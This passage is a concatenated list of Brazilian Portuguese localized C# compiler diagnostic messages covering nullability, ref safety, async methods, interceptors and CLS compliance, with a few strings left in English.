"System.Runtime.CompilerServices.ExtensionAttribute". Em vez disso, use a palavra-chave "this". + membros requeridos + Acessador add ou remove esperado + O controle não pode sair do corpo de um método anônimo ou expressão lambda + O membro obsoleto substitui o membro não obsoleto + A passagem de '{0}' não é válida a menos que '{1}' seja 'SignatureCallingConvention.Unmanaged'. + A restrição de tipo de classe "{0}" deve vir antes de qualquer outra restrição + Uso de propriedades autoimplementadas possivelmente não atribuídas '{0}' + O assembly do analisador '{0}' referencia a versão '{1}' do compilador, que é mais recente que a versão em execução no momento '{2}'. + '{0}' deve corresponder ao retorno por referência de membro substituído '{1}' + O CallerFilePathAttribute não terá nenhum efeito; ele é substituído pelo CallerLineNumberAttribute + Grupos de métodos de extensão não são permitidos como um argumento para 'nameof'. + Não é possível inicializar uma variável by-value com uma referência + O corpo de um método de iterador assíncrono precisa conter uma instrução 'yield'. Considere a possibilidade de remover 'async' da declaração de método ou de adicionar a instrução 'yield'. + ‘{0}’ não contém uma definição para "{1}" e não foi possível encontrar nenhum método de extensão "{1}" que aceite um primeiro argumento do tipo ‘{0}’ (você está se esquecendo de usar uma diretiva ou uma referência de assembly?) + O {1} "{0}" não pode ser usado com argumentos de tipo + A expressão não pode ser usada neste contexto porque ela pode expor indiretamente variáveis fora do seu escopo de declaração + O parâmetro para conversão do manipulador de cadeia de caracteres interpolada ocorre após o parâmetro de manipulador + Um método parcial não pode ter várias declarações de definição + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá efeito. Ele é aplicado com um nome de parâmetro inválido. + Referência do assembly "{0}" é inválida e não pode ser resolvida + Essa referência atribui um valor que tem um escopo de escape mais estreito do que o destino. + Classes static não podem ter construtores de instância + 'await' requer que o tipo {0} tenha um método 'GetAwaiter' adequado + Não é possível usar um membro de resultado de '{0}' nesse contexto porque ele pode expor as variáveis referenciadas pelo parâmetro '{1}' fora do seu escopo de declaração + O parâmetro lambda '{0}' digitado implicitamente não pode ter um valor padrão. + Tipo "{1}" já reserva um membro chamado "{0}" com os mesmos tipos de parâmetro + A propriedade autoimplementada '{0}' não pode ser marcada como 'readonly' porque ela tem um acessador 'set'. + Tipo de argumento não tem conformidade com CLS + Sequência de escape não reconhecida + O parâmetro não tem nenhuma tag param correspondente no comentário XML (mas outros parâmetros têm) + A expressão switch não manipula algumas entradas nulas. + Interface herdada "{1}" gera um ciclo na hierarquia de interface de "{0}" + O tipo ou nome do namespace "{0}" não pode ser encontrado no namespace global (uma referência de assembly está faltando?) + Não é possível interceptar '{0}' porque não é uma invocação de um método de membro comum. + Não é possível aguardar na expressão do filtro de uma cláusula catch + Só é possível usar expressões de inicializador de matriz para atribuir a tipos de matriz. Tente usar uma expressão new. + Conversão de literal nula ou possível valor nulo em tipo não anulável. + Variáveis de tipo implícito devem ser inicializadas + A declaração de parâmetro de tipo deve ser um identificador, e não um tipo + construtores primários + A propriedade auto-implementada '{0}' deve ser totalmente atribuída antes que o controle seja devolvido ao chamador. Considere atualizar para a versão de linguagem '{1}' para auto-padrão da propriedade. + "{0}": novo membro protegido declarado em struct + "{0}": classes static não podem conter membros protegidos + O objeto 'this' é lido antes que todos os seus campos tenham sido atribuídos, causando atribuições anteriores implícitas de campos 'default' a campos não explicitamente atribuídos. + "{0}": não pode declarar membros de instância em uma classe estática + O controle é devolvido ao chamador antes que a propriedade auto-implementada seja explicitamente atribuída, causando uma atribuição implícita anterior de 'default'. + Executáveis não podem ser assemblies satélites; cultura deve estar sempre vazia + O método não tem a anotação '[DoesNotReturn]' para corresponder ao membro implementado ou substituído. + O uso da palavra-chave "base" não é válido neste contexto + O tipo "{0}" está definido em um assembly que não é referenciado. Você deve adicionar uma referência ao assembly "{1}". + "{0}" adiciona um assessor não encontrado no membro de interface "{1}" + Opção não reconhecida: "{0}" + Métodos assíncronos não são permitidos em uma Interface, Classe ou Estrutura que tem o atributo "SecurityCritical" ou "SecuritySafeCritical". + CallerArgumentExpressionAttribute não pode ser aplicado porque não há conversões padrão do tipo '{0}' para o tipo '{1}' + O primeiro operando de um operador "is" ou "as" não pode ser uma expressão lambda, um método anônimo ou um grupo de métodos. + Um acesso à matriz não pode ter um especificador de argumento nomeado + Não é possível usar um grupo de métodos como um argumento para uma operação dinamicamente vinculada. Você pretendia invocar o método? + operador de intervalo + Um campo somente leitura não pode ser usado como um valor ref ou out (exceto em um construtor) + Não é possível interceptar uma chamada no arquivo com caminho '{0}' porque vários arquivos na compilação têm esse caminho. + GetDeclarationName chamado para um nó de declaração que possivelmente pode conter múltiplos declaradores variáveis. + Este erro ocorre se você tiver um método sobrecarregado que usa uma matriz denteada e a única diferença entre as assinaturas do método é o tipo de elemento da matriz. Para evitar esse erro, considere usar uma matriz retangular em vez de uma matriz denteada, usar um parâmetro adicional para desambiguar a chamada de função, renomear um ou mais dos métodos sobrecarregados ou, se não for necessária conformidade com CLS, remova o atributo CLSCompliantAttribute. + A expressão switch não manipula todos os valores possíveis do seu tipo de entrada (isso não é geral). Por exemplo, o padrão '{0}' não é coberto. No entanto, um padrão com uma cláusula 'when' pode corresponder a esse valor com êxito. + Os nomes de elemento de tupla na assinatura do método '{0}' devem corresponder aos nomes de elemento de tupla do método de interface '{1}' (incluindo o tipo de retorno). + O objeto 'this' é lido antes que todos os seus campos tenham sido atribuídos, causando atribuições anteriores implícitas de campos 'default' a campos não explicitamente atribuídos. + Isso retorna por referência um membro do parâmetro '{0}' que está no escopo do método atual + Duplicar atributo "{0}" em "{1}" + função assíncrona + Formato de informações de depuração inválidas: {0} + Um goto não pode saltar para um local antes de uma declaração using no mesmo bloco. + Os acessadores '{0}' e '{1}' devem ser somente de inicialização ou nenhum + Os métodos assíncronos não podem ter parâmetros de tipo de ponteiro + 'else' não pode iniciar uma instrução. + O membro substitui o membro obsoleto + Não é possível atribuir a {0} '{1}' ou usá-lo como o lado direito de uma atribuição ref porque é uma variável somente leitura + A sintaxe 'var' de um padrão não pode referenciar um tipo, mas '{0}' está no escopo aqui. + Os métodos assíncronos não podem ter locais por referência + Argument {0} should be passed with the 'in' keyword + restrição de tipo genérico notnull + Somente propriedades implementadas automaticamente podem ter inicializadores. + Uma 'estrutura' com inicializadores de campo deve incluir um construtor declarado explicitamente. + Não é possível criar nome de arquivo curto "{0}" quando já existe um nome de arquivo longo com o mesmo nome de arquivo curto + O tipo de parâmetro para o operador ++ ou -- deve ser o tipo recipiente ou seu parâmetro de tipo restrito a ele. + O tipo de arquivo local '{0}' deve ser definido em um tipo de nível superior; '{0}' é um tipo aninhado. + O atributo '{0}' não é válido em acessadores de evento. Ele é válido somente em declarações '{1}'. + #warning: "{0}" + Um membro estático não pode ser marcado como '{0}' + Não é possível especificar modificadores 'readonly' na propriedade ou no indexador '{0}' e em seu acessador. Remova um deles. + O campo é lido antes de ser explicitamente atribuído, causando uma atribuição implícita anterior de 'default'. + O número de linha e caracteres fornecido não se refere a um nome de método interceptável, mas sim ao token '{0}'. + O lado esquerdo de uma atribuição deve ser uma variável, uma propriedade ou um indexador + O runtime de destino não dá suporte a tipos de matriz embutido. + Um membro "{0}" marcado como override não pode ser marcado como new ou virtual + Ambas as declarações de método parciais, '{0}' e '{1}', devem usar os mesmos elementos de nome de tupla. + A nulidade de tipos de referência no tipo de parâmetro '{0}' de '{1}' não corresponde ao membro implementado implicitamente '{2}' (possivelmente devido a atributos de nulidade). + Membros struct não podem retornar 'this' ou outros membros de instância por referência + "{0}": nem todos os caminhos de código retornam um valor + Não é possível usar um resultado '{0}' nesse contexto porque ele pode expor as variáveis referenciadas pelo parâmetro '{1}' fora do seu escopo de declaração + A expressão switch não manipula todos os valores possíveis do tipo de entrada (ela não é exaustiva). Por exemplo, o padrão '{0}' não é coberto. + Não é possível encaminhar o tipo "{0}" porque ele é um tipo aninhado de "{1}" + Comentário de linha única ou fim da linha esperado + A restrição não pode ser o tipo dinâmico + O parâmetro out "{0}" deve ser atribuído antes que o controle saia do método atual + Nome inválido para um símbolo de pré-processamento; ele não é um identificador válido + O sufixo 'l' é facilmente confundido com o dígito '1' -- use 'L' para diferenciar + "{0}" na declaração de interface explícita não é uma interface + acesso à matriz + O receptor de uma expressão `with` precisa ter um tipo não nulo. + "{0}": não é possível substituir "{1}" porque não é suportado pelo idioma + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + A propriedade somente de inicialização ou o indexador '{0}' só pode ser atribuído em um inicializador de objeto, em 'this' ou 'base' em um construtor de instância ou em um acessador 'init'. + Não é possível converter o grupo &método '{0}' para o tipo delegado '{1}'. + O modificador de parâmetro '{0}' não pode ser usado com '{1}' + Os nomes de elemento não são permitidos em caso de correspondência de padrões por meio de 'System.Runtime.CompilerServices.ITuple'. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Não é possível atribuir novamente '{1}' a '{0}' porque '{1}' tem um escopo de escape de valor maior que '{0}' permitindo a atribuição por meio de '{0}' de valores com escopos de escape mais estreitos do que '{1}'. + O tipo '{0}' não pode ser inserido porque tem uma nova abstração de um membro da interface base. Considere a configuração da propriedade 'Embed Interop Types' como false. + O membro não invocável "{0}" não pode ser usado como um método. + Um valor ref ou out deve ser uma variável que possa ser atribuída + SyntaxTreeSemanticModel deve ser fornecido para fornecer a qualificação do tipo mínimo. + O CallerArgumentExpressionAttribute não terá nenhum efeito; ele é substituído pelo CallerMemberNameAttribute + Falha na inicialização do gerador. + O tipo "{0}" está definido em um módulo não foi adicionado. Você deve adicionar o módulo "{1}". + Uma expressão condicional não pode ser usada diretamente em uma interpolação de cadeia de caracteres porque ‘:’ encerra a interpolação. Use parênteses na expressão condicional. + O namespace "{1}" em "{0}" está em conflito com o tipo "{3}" em "{2}" + "{0}": um construtor estático não deve ter parâmetros + Um parâmetro out não pode ter atributo In + Os argumentos com o modificador 'in' não podem ser usados em expressões vinculadas dinamicamente. + grupo de métodos + O iterador assíncrono '{0}' tem um ou mais parâmetros do tipo 'CancellationToken', mas nenhum deles está decorado com o atributo 'EnumeratorCancellation', portanto, o parâmetro de token de cancelamento do 'IAsyncEnumerable<>.GetAsyncEnumerator' gerado não será consumido + Atributo MemberNotNull + O campo nunca é atribuído e sempre terá seu valor padrão + Método "{0}" tem um modificador de parâmetro "this" que não está no primeiro parâmetro + Aspas não ASCII não podem ser usadas em literais de cadeia de caracteres. + Uma classe base é necessária para uma referência "base" + Diretiva de pré-processamento inesperada + Executando a conversão unboxing de um valor possivelmente nulo. + O tipo '{2}' não pode ser usado como parâmetro de tipo '{1}' no tipo ou método genérico '{0}'. A nulidade do argumento de tipo '{2}' não corresponde à restrição 'notnull'. + Verificação de compatibilidade com CLS não será executada em "{0}" porque ele não é visível de fora deste assembly + A diretiva using para '{0}' apareceu anteriormente como using global + "{0}": não é possível substituir porque "{1}" não é uma propriedade + Uma expressão do tipo '{0}' não pode ser manipulada por um padrão do tipo '{1}' em C# {2}. Use a versão de linguagem {3} ou superior. + A variável "{0}" é atribuída, mas seu valor nunca é usado + O operador '{0}' não pode ser aplicado a 'default' e ao operando do tipo '{1}' porque é um parâmetro de tipo que não é conhecido como um tipo de referência + A anotação para tipos de referência anuláveis deve ser usada apenas em código em um contexto de anotações '#nullable'. + O nome do elemento de tupla '{0}' é permitido somente na posição {1}. + Mais de um modificador de proteção + O comentário XML tem atributo cref sintaticamente incorreto "{0}" + O assembly do analisador faz referência a uma versão mais recente do compilador do que a versão em execução no momento. + 'O idioma não dá suporte a "{0}" + O comentário XML tem uma tag paramref, mas não há nenhum parâmetro com esse nome + O operador 'await' só pode ser usado em um método assíncrono. Considere marcar esse método com o modificador 'async' e alterar seu tipo de retorno para 'Task'. + Não é possível usar ref, out ou no parâmetro de construtor primário "{0}" dentro de um membro da instância + Não é possível atualizar '{0}'; o atributo '{1}' está ausente. + deslocamento direito não atribuído + Não é possível especificar /main quando há uma unidade de compilação com instruções de nível superior. + Um parâmetro de construtor primário de um tipo somente leitura não pode ser usado como um valor ref ou out (exceto no setter somente inicialização do tipo ou em um inicializador de variável) + O CallerArgumentExpressionAttribute não terá nenhum efeito; ele é substituído pelo CallerFilePathAttribute + '{0}': novo membro protegido declarado no tipo selado + Controle não pode passar através de um rótulo case ("{0}") para outro + Não é possível converter {0} para o tipo "{1}" porque ele não é um tipo delegado + Uma expressão lambda com um corpo de instrução não pode ser convertida em uma árvore de expressões + O método '{0}' especifica uma restrição 'default' para o parâmetro de tipo '{1}', mas o parâmetro de tipo correspondente '{2}' do método substituído ou implementado explicitamente '{3}' está restrito por um tipo de referência ou um tipo de valor. + O modificador 'scoped' do parâmetro não corresponde ao membro substituído ou implementado. + Declarações e expressões mistas na desconstrução + Compilador do Microsoft (R) Visual C# + A linha contém espaços em branco diferentes dos da linha de fechamento da literal de cadeia de caracteres bruta: “{0}” x “{1}” + Não é possível converter o tipo "{0}" para "{1}" por meio de uma conversão de referência, de boxing, de unboxing, de quebra de linha ou conversão de tipo nulo + '{0}' é para fins de avaliação somente e está sujeito a alterações ou remoções em atualizações futuras. + Um ponteiro deve ser indexado somente por um valor + '{0}' tem um CollectionBuilderAttribute, mas nenhum tipo de elemento. + Não há suporte para o uso de um tipo de ponteiro de função neste contexto. + Este não um número de aviso válido + As duas declarações de métodos parciais precisam ser readonly ou nenhuma deve ser readonly + retornos e locais de byref + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá efeito porque é de autorreferência. + Não é possível passar argumento com tipo dinâmico para parâmetro params '{0}' da função local '{1}'. + Método de interoperabilidade inserido "{0}" contém um corpo. + O melhor método Add sobrecarregado "{0}" para o elemento do inicializador de coleção está obsoleto. + dinâmica + Não é possível usar a variável local "{0}" antes de declará-la. A declaração da variável local oculta o campo "{1}". + O nome do elemento da tupla foi ignorado porque um nome diferente ou nenhum nome foi especificado no outro lado do operador == ou != de tupla. + não há suporte para a instrução foreach em uma matriz embutida '{0}' tipo + O membro deve ter um valor não nulo ao sair. + O índice está fora dos limites do texto. + Não é possível definir nem remover os símbolos de pré-processamento após o primeiro token no arquivo + As opções de compilação '{0}' e '{1}' não podem ser especificadas ao mesmo tempo. + instruções de nível superior + O CallerMemberNameAttribute não tem efeito porque ele se aplica a um membro que é usado em contextos que não aceitam argumentos opcionais + A operação estoura o tempo de compilação no modo de ativação + qualificador alias de namespace + Uma instrução throw sem argumentos não é permitida fora de uma cláusula catch + Operando inválido para correspondência de padrão. Um valor era obrigatório, mas '{0}' foi encontrado. + a instrução foreach não pode operar em enumeradores do tipo '{0}' em métodos assíncronos ou iteradores porque '{0}' é uma struct de referência. + O parâmetro não foi lido. Você esqueceu de usá-lo para inicializar a propriedade com esse nome? + O valor constante '{0}' pode estourar '{1}' no runtime (use a sintaxe 'unchecked' para substituição) + O evento "{0}" nunca é usado + O comentário XML não está inserido em um elemento de linguagem válido + Erro gravando no arquivo de documentação XML: {0} + genéricos + "{0}" interface marcada com "CoClassAttribute" não marcada com "ComImportAttribute" + Não é possível usar campos de '{0}' como um valor ref ou out porque ele é um '{1}' + Uso de propriedades autoimplementadas possivelmente não atribuídas '{0}' + O campo "{0}" nunca é usado + Este rótulo não foi usado como referência + "{0}" duplicar argumento de atributo nomeado + Não é possível fazer referência à variável do tipo "{0}" + O operador 'await' só poderá ser usado quando contido em um método ou expressão lambda marcada com o modificador 'async' + Uma árvore de expressão não pode conter um literal de tupla. + Comparação feita com a mesma variável + Um ponteiro de função não pode ser chamado com argumentos nomeados. + As expressões de objeto e de inicializador de coleção não podem ser aplicadas a uma expressão de criação de representante + O comentário XML tem uma tag typeparam duplicada para "{0}" + '{0}': as conversões definidas pelo usuário para ou de um tipo derivado não são permitidas + O inicializador de objeto ou coleção desreferencia implicitamente o membro possivelmente nulo. + O tipo não implementa o membro da interface. A nulidade dos tipos de referência na interface implementados pelo tipo base não corresponde. + "{0}" não é um especificador de formato válido + 'await' não pode ser usado em uma expressão que contém um operador condicional de referência + O parâmetro '{0}' não foi lido. Você esqueceu de usá-lo para inicializar a propriedade com esse nome? + O membro do iterador assíncrono tem um ou mais parâmetros do tipo 'CancellationToken', mas nenhum deles está decorado com o atributo 'EnumeratorCancellation', portanto, o parâmetro de token de cancelamento do 'IAsyncEnumerable<>.GetAsyncEnumerator' gerado não será consumido + Um assembly com o mesmo nome simples "{0}" já foi importado. Tente remover uma das referências (por exemplo: "{1}") ou assine-as para ativar lado a lado. + O operador 'await' não pode ser usado em um inicializador de variável de script estático. + Não é possível herdar a interface "{0}" com os parâmetros do tipo especificado porque isso faz com que o método "{1}" contenha sobrecargas que diferem somente em ref e out + O nome "{0}" não está no escopo à esquerda de "equals". Considere trocar as expressões em cada lado de "equals". + CallerFilePathAttribute não pode ser aplicado porque não há conversões padrões do tipo "{0}" para o tipo "{1}" + Identificador "{0}" diferindo somente se não tem conformidade com CLS + Não é possível converter um literal nulo em um tipo de referência não anulável. + Acessibilidade inconsistente: tipo de propriedade "{1}" é menos acessível do que a propriedade "{0}" + null não é um nome de parâmetro válido. Para obter acesso ao receptor de um método de instância, use a cadeia de caracteres vazia como o nome do parâmetro. + Erro ao abrir o arquivo de recursos do Win32 "{0}" -- "{1}" + Especificador de formato vazio. + A nulidade do tipo de retorno não corresponde ao membro substituído (possivelmente devido a atributos de nulidade). + Bit a bit ou operador usado em um operando de assinatura estendida + O resultado da expressão é sempre o mesmo, pois um valor deste tipo nunca é 'null' + Falha no acesso de membro de identificador transparente para o campo "{0}" de "{1}". Os dados que estão sendo consultados implementam o padrão de consulta? + restrições de tipo genérico delegate + A nulidade de tipos de referência no tipo de parâmetro não corresponde ao membro implementado (possivelmente devido a atributos de nulidade). + Não é possível usar uma constante numérica ou padrão relacional em '{0}' porque herda ou estende 'INumberBase<T>'. Considere usar um padrão de tipo para restringir a um tipo numérico específico. + CallerLineNumberAttribute não pode ser aplicado porque não há conversões padrões do tipo "{0}" para o tipo "{1}" + "alias externo" não é válido neste contexto + A lista de membros requeridos para o tipo base '{0}' está malformada e não pode ser interpretada. Para usar este construtor, aplique o atributo 'SetsRequiredMembers'. + O objeto 'this' não pode ser usado em um construtor antes de todos os seus campos terem sido atribuídos. Considere atualizar a versão de linguagem para auto-padrão nos campos não atribuídos. + Ambos os valores de operador condicional devem ser valores de referência ou nenhum pode ser um valor de referência + O uso de new() não é válido neste contexto + Tipo "{0}" não pode ser inserido porque ele é de um tipo aninhado. Considere configurar a propriedade "Inserir Tipos de Interoperabilidade" como falsa. + Você não pode especificar o atributo CLSCompliant em um módulo diferente do atributo CLSCompliant no assembly + A nulidade dos tipos de referência no tipo de retorno não corresponde ao método interceptável. + O membro requerido '{0}' deve ser definido no inicializador de objeto ou construtor do atributo. + O indexador de matriz embutido não será usado para a expressão de acesso a elementos. + {0}. Veja também o erro CS{1}. + Tipo base inválido + O membro requerido '{0}' pode ser menos visível ou ter um setter menos visível do que o tipo que o contém'{1}'. + O nome de tipo "{0}" não existe no tipo "{1}" + Nenhum elemento correspondente foi encontrado na seguinte tag include + O recurso '{0}' é experimental e sem suporte; use '/features:{1}' para habilitar. + A propriedade auto-implementada é lida antes de ser explicitamente atribuída, causando uma atribuição implícita anterior de 'default'. + O tipo substitui Object. Equals (objeto o), mas não substitui o Object.GetHashCode() + fluxos assíncronos + O valor 'goto case' não é implicitamente conversível para o tipo da opção + A opção de compilador /doc foi especificada, mas um ou mais construtores não tinha comentários. + "{0}": não é possível substituir o membro herdado "{1}" porque ele não está marcado como virtual, abstract ou override + O nome do parâmetro "{0}" é uma duplicata + "{0}": modificadores de acesso não são permitidos em construtores estáticos + Não use 'System.Runtime.CompilerServices.RequiredMemberAttribute'. Use a palavra-chave 'required' nos campos e propriedades requeridos. + Uso inesperado de um nome genérico não associado + O modificador 'ref' de um argumento correspondente ao parâmetro 'in' é equivalente a 'in'. Considere usar 'in'. + O acessador "{0}" não pode implementar membro de interface "{1}" para o tipo "{2}". Use uma implementação de interface explícita. + As duas declarações de métodos parciais devem ser métodos de extensão ou nenhuma delas poderá ser desse tipo + Catch ou finally esperado + Uma expressão new requer uma lista de argumentos ou (), [] ou {} após o tipo + A variável foi declarada, mas nunca foi usada + "{0}" é definido em um módulo com uma versão RefSafetyRulesAttribute não reconhecida, esperando "11". + Final do arquivo encontrado. '*/' esperado + Não é possível fazer referência a compilação do tipo "{0}" de {1} compilação. + Um valor padrão é especificado para o parâmetro 'ref readonly', mas 'ref readonly' deve ser usado somente para referências. Considere declarar o parâmetro como 'in'. + "{0}" oculta o membro herdado "{1}". Para que o membro atual substitua essa implementação, adicione a palavra-chave override. Caso contrário, adicione a palavra-chave new. + "{0}" não implementa membro de interface "{1}". "{2}" não pode implementar um membro de interface, pois não é público. + O tipo de arquivo local '{0}' não pode ser usado em uma assinatura de membro no tipo não local do arquivo '{1}'. + A interface '{0}' não pode ser usada como argumento de tipo. O membro estático '{1}' não tem uma implementação mais específica na interface. + Espera-se um {0} SemanticModel. + expressão condicional ref + operador padrão + Um valor do tipo 'void' não pode ser atribuído. + literal padrão + '{0}' não implementa o membro de interface '{1}'. '{2}' não pode implementar '{1}'. + Uma expressão do tipo '{0}' não pode ser manipulada por um padrão do tipo '{1}'. + O objeto 'this' não pode ser usado antes que todos os seus campos serem atribuídos. Considere atualizar para a versão de linguagem '{0}' para auto-padrão dos campos não atribuídos. + Opções conflitantes especificadas: arquivo de recursos do Win32; ícone do Win32 + O atributo é ignorado quando a autenticação pública é especificada. + O nome do tipo '{0}' está reservado para ser usado pelo compilador. + A nulidade dos tipos de referência no especificador de interface explícito não corresponde à interface implementada pelo tipo. + Os pontos de entrada do aplicativo não podem ser atribuídos com 'UnmanagedCallersOnly'. + O nome "{0}" não está no escopo à direita de "equals". Considere trocar as expressões em cada lado de "equals". + '{0}': não pode alterar os nomes de elemento de tupla ao substituir o membro herdado '{1}' + O comprimento combinado de cadeias do usuários usadas pelo programa excede o limite permitido. Tente diminuir o uso de literais de cadeia. + { esperado + O sufixo 'l'é facilmente confundido com o dígito '1' + Caractere inesperado neste local. + ">" ou "/>" está faltando para fechar a tag "{0}". + O valor gerado pode ser nulo. + O parâmetro de tipo não tem nenhuma tag typeparam correspondente no comentário XML (mas outros parâmetros têm) + ação de aviso enable + A definição de um alias denominado 'global' não é recomendável, pois 'global::' sempre faz referência ao namespace global, e não a um alias + O CallerMemberNameAttribute aplicado ao parâmetro "{0}" não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem argumentos opcionais + Parâmetro de construtor de atributo "{0}" tem tipo "{1}", o qual não é um tipo de parâmetro de atributo válido + Modificador de variância inválido. Apenas os parâmetros do tipo de representante e de interface podem ser especificados como variante. + O parâmetro deve ter um valor não nulo durante a saída em alguma condição. + Os padrões relacionais não podem ser usados para um valor do tipo '{0}'. + Herdar de um registro com um 'Object.ToString' selado não é compatível com C# {0}. Use a versão do idioma '{1}' ou superior. + O método sobrecarregado diferindo somente em ref ou out, ou a classificação de matriz, não tem conformidade com CLS + "{0}": um campo volátil não pode ser do tipo "{1}" + Uma expressão stackalloc requer [] após o tipo + Declarador de membro de tipo anônimo inválido. Membros de tipo anônimo devem ser declarados com uma atribuição de membro, nome simples ou acesso de membro. + Uma tupla não pode conter um valor do tipo 'void'. + Não é possível especificar o atributo Out em um parâmetro de referência sem também especificar o atributo In. + Arquivo de origem "{0}" especificado várias vezes + Membros da propriedade "{0}" do tipo "{1}" não podem ser atribuídos com um inicializador de objeto porque ele é de um tipo de valor + collection expressions + "{0}": structs não podem chamar construtores de classe base + O tipo não implementa o padrão de coleção; os membros são ambíguos + stackalloc não pode ser usado em um bloco catch ou finally + Um literal de cadeia de caracteres era esperado, mas nenhuma aspa de abertura foi encontrada. + "{0}" não pode ser externo e declarar um corpo + <expressão switch> + Expressão de pré-processamento inválida + A palavra-chave 'this' não está disponível no contexto atual + tipo de retorno de lambda + A SyntaxTree o é resultado de uma diretiva #load e não pode ser removida nem substituída diretamente. + Diretiva #pragma não reconhecida + Um tipo anônimo não pode ter várias propriedades com o mesmo nome + O parâmetro de tipo '{1}' tem a restrição 'unmanaged' e, por isso, '{1}' não pode ser usado como uma restrição de '{0}' + Nome "{0}" excede o comprimento máximo permitido em metadados. + Uma diretiva 'usando estático' não pode ser usada para declarar um alias + Atribuição feita à mesma variável. Você pretendia atribuir outro elemento? + O evento nunca é usado + Um interceptor não pode ser declarado no namespace global. + A instrução foreach assíncrona não pode operar em variáveis do tipo '{0}' porque '{0}' não contém uma definição de extensão ou de instância pública adequada para '{1}' + O evento "{0}" só pode aparecer no lado esquerdo de += ou -= + O valor do parâmetro padrão não corresponde ao tipo delegado de destino. + Tag include inválida + ponteiros de função + O encaminhador de tipo para o tipo "{0}" no assembly "{1}" gera um ciclo + O tipo "{0}" já contém uma definição para "{1}" + Uma árvore de expressão não pode conter chamada ou invocação que use argumentos opcionais + O operador '{0}' não pode ser aplicado ao operando '{1}' + Arquivo de metadados "{0}" não pode ser aberto -- {1} + Comparação com null do tipo "{0}" sempre produz "false" + módulo como um especificador de destino de atributo + padrões recursivos + Esse aviso pode ser gerado quando dois métodos de interface são diferenciados somente por se um determinado parâmetro é marcado com ref ou out. É aconselhável alterar o código para evitar este aviso porque não fica óbvio ou garantido qual método é chamado no runtime. + +Embora C# faça a distinção entre out e ref, o CLR os vê da mesma forma. Ao decidir qual método implementa a interface, o CLR simplesmente escolhe um deles. + +Forneça ao compilador alguma forma de diferenciar os métodos. Por exemplo, você pode dar-lhes nomes diferentes ou fornecer um parâmetro adicional em um deles. + Não é possível usar #r após o primeiro token no arquivo + '{0}' não implementa o membro da interface de instância '{1}'. '{2}' não pode implementar o membro da interface porque ele é estático. + '{0}' não implementa membro da interface '{1}'. '{2}' não pode implementar implicitamente um membro não público em C# {3}. Use a versão de linguagem '{4}' ou superior. + Isso retorna um parâmetro por referência '{0}' mas não é um parâmetro ref + Não é possível inicializar uma variável por referência com um valor + argumento nomeado + Um tipo de retorno só pode ter um modificador '{0}'. + O tipo pré-definido "{0}" está definido em vários assemblies no alias global; usando definição de "{1}" + O lambda da árvore de expressão pode não conter uma chamada para um método, propriedade ou indexador que é retornado por referência + campos de struct para auto-padrão + Um método parcial não pode ter o modificador 'abstract' + '{0}' já está listado na lista de interfaces no tipo '{1}' com uma nulidade diferente de tipos de referência. + Ausência de sinal de igual entre atributo e o valor de atributo. + Não foi possível atualizar porque um tipo de delegado inferido foi alterado. + Não é possível desconstruir uma tupla de '{0}' elementos em '{1}' variáveis. + "{0}" não implementa membro abstrato herdado "{1}" + Não é possível que haja vários arquivos de configuração do analisador no mesmo diretório ('{0}'). + O recurso de linguagem 'Matrizes embutidas' não tem suporte para tipos de matriz embutidos com o campo de elemento que é um campo 'ref' ou tem um tipo que não é válido como um argumento de tipo. + '{0}' não pode ser selado porque o registro contentor não está selado. + Não é possível criar uma instância do tipo de variável "{0}" porque ela não tem a restrição new() + Tipo de "{0}" não pode ser inferido porque seu inicializador direta ou indiretamente refere-se à definição. + '{0}': o runtime de destino não dá suporte a tipos covariantes em substituições. O tipo precisa ser '{2}' para corresponder ao membro substituído '{1}' + #load só pode ser usado em scripts + Metódo sobrecarregado "{0}" diferindo somente por tipos de matriz não nomeados não tem conformidade com CLS + O modificador de tipo de referência do parâmetro não corresponde ao parâmetro correspondente no membro substituído ou implementado. + Essa referência atribui um valor que tem um escopo de escape de valor mais amplo do que o destino permitindo a atribuição por meio do destino de valores com escopos de escape mais estreitos. + O evento '{0}' semelhante ao de campo não pode ser 'readonly'. + Um argumento attribute deve ser uma expressão constant, typeof ou array creation de um tipo de parâmetro attribute + structs somente leitura + <expressão throw> + tipos parciais + A expressão fornecida nunca corresponde ao padrão fornecido. + Parâmetro genérico é definição quando é esperado que seja referência {0} + An expression tree may not contain a collection expression. + O valor retornado precisa ser não nulo porque o parâmetro '{0}' não é nulo. + A sintaxe 'var (...)' como um lvalue está reservada. + '{0}' não substitui o método esperado de '{1}'. + O membro do struct retorna 'this' ou outros membros da instância por referência + Ignorando a opção /noconfig porque ela foi especificada em um arquivo de resposta + '{0}' não implementa o membro da interface estática '{1}'. '{2}' não pode implementar o membro da interface porque não é estático. + "{0}": propriedade ou indexador não pode ter tipo void + "{0}": não é possível substituir o membro herdado "{1}" porque ele é sealed + Os iteradores não podem ter parâmetros ref, in ou out + Propriedade indexada "{0}" deve ter todos os argumentos opcionais + O campo '{0}' deve ser totalmente atribuída antes que o controle seja devolvido ao chamador. Considere atualizar para a versão de linguagem '{1}' para auto-padrão do campo. + As duas declarações de método parcial precisam ter o mesmo tipo de retorno. + Utilização inconsistente do parâmetro lambda; todos os tipos de parâmetros devem ser explícitos ou implícitos + Não é possível carregar o assembly do analisador + Não é possível inferir o tipo de descarte de tipo implícito. + Tipo "{0}" na lista de interfaces não é uma interface + As assinaturas de métodos interceptáveis e interceptador não coincidem. + Palavra-chave inesperada “record”. Você quis dizer “record struct” or “record class”? + elemento + O recurso de 'verificação nula de parâmetro' não tem suporte. + Um parâmetro __arglist deve ser o último parâmetro em uma lista de parâmetros + {0} não é uma operação de atribuição composta de C# válida + Uma árvore de expressão não pode conter um operador 'is' com padrões correspondentes. + Não é possível usar o construtor de atributo '{0}' porque ele possui parâmetros 'in' ou 'ref readonly'. + variáveis de iteração ref foreach + Conversões ambíguas definidas por usuário "{0}" e "{1}" ao realizar a conversão de "{2}" em "{3}" + Tipo de interoperabilidade "{0}" não pode ser incorporado. Ao invés disso, use a interface aplicável. + A expressão deve ser do tipo '{0}' porque ela está sendo atribuída por referência + O assembly não contém analisadores + Nenhuma sobrecarga de '{0}' corresponde ao ponteiro de função '{1}' + Indexando uma matriz com um índice negativo + As propriedades que retornam por referência não podem ter acessadores definidos + Erro de sintaxe de linha de comando: ":<number>" ausente para a opção "{0}" + Referência ao tipo "{0}" declara que ele é definido em "{1}", mas não pode ser encontrado + Atribuição possivelmente incorreta ao 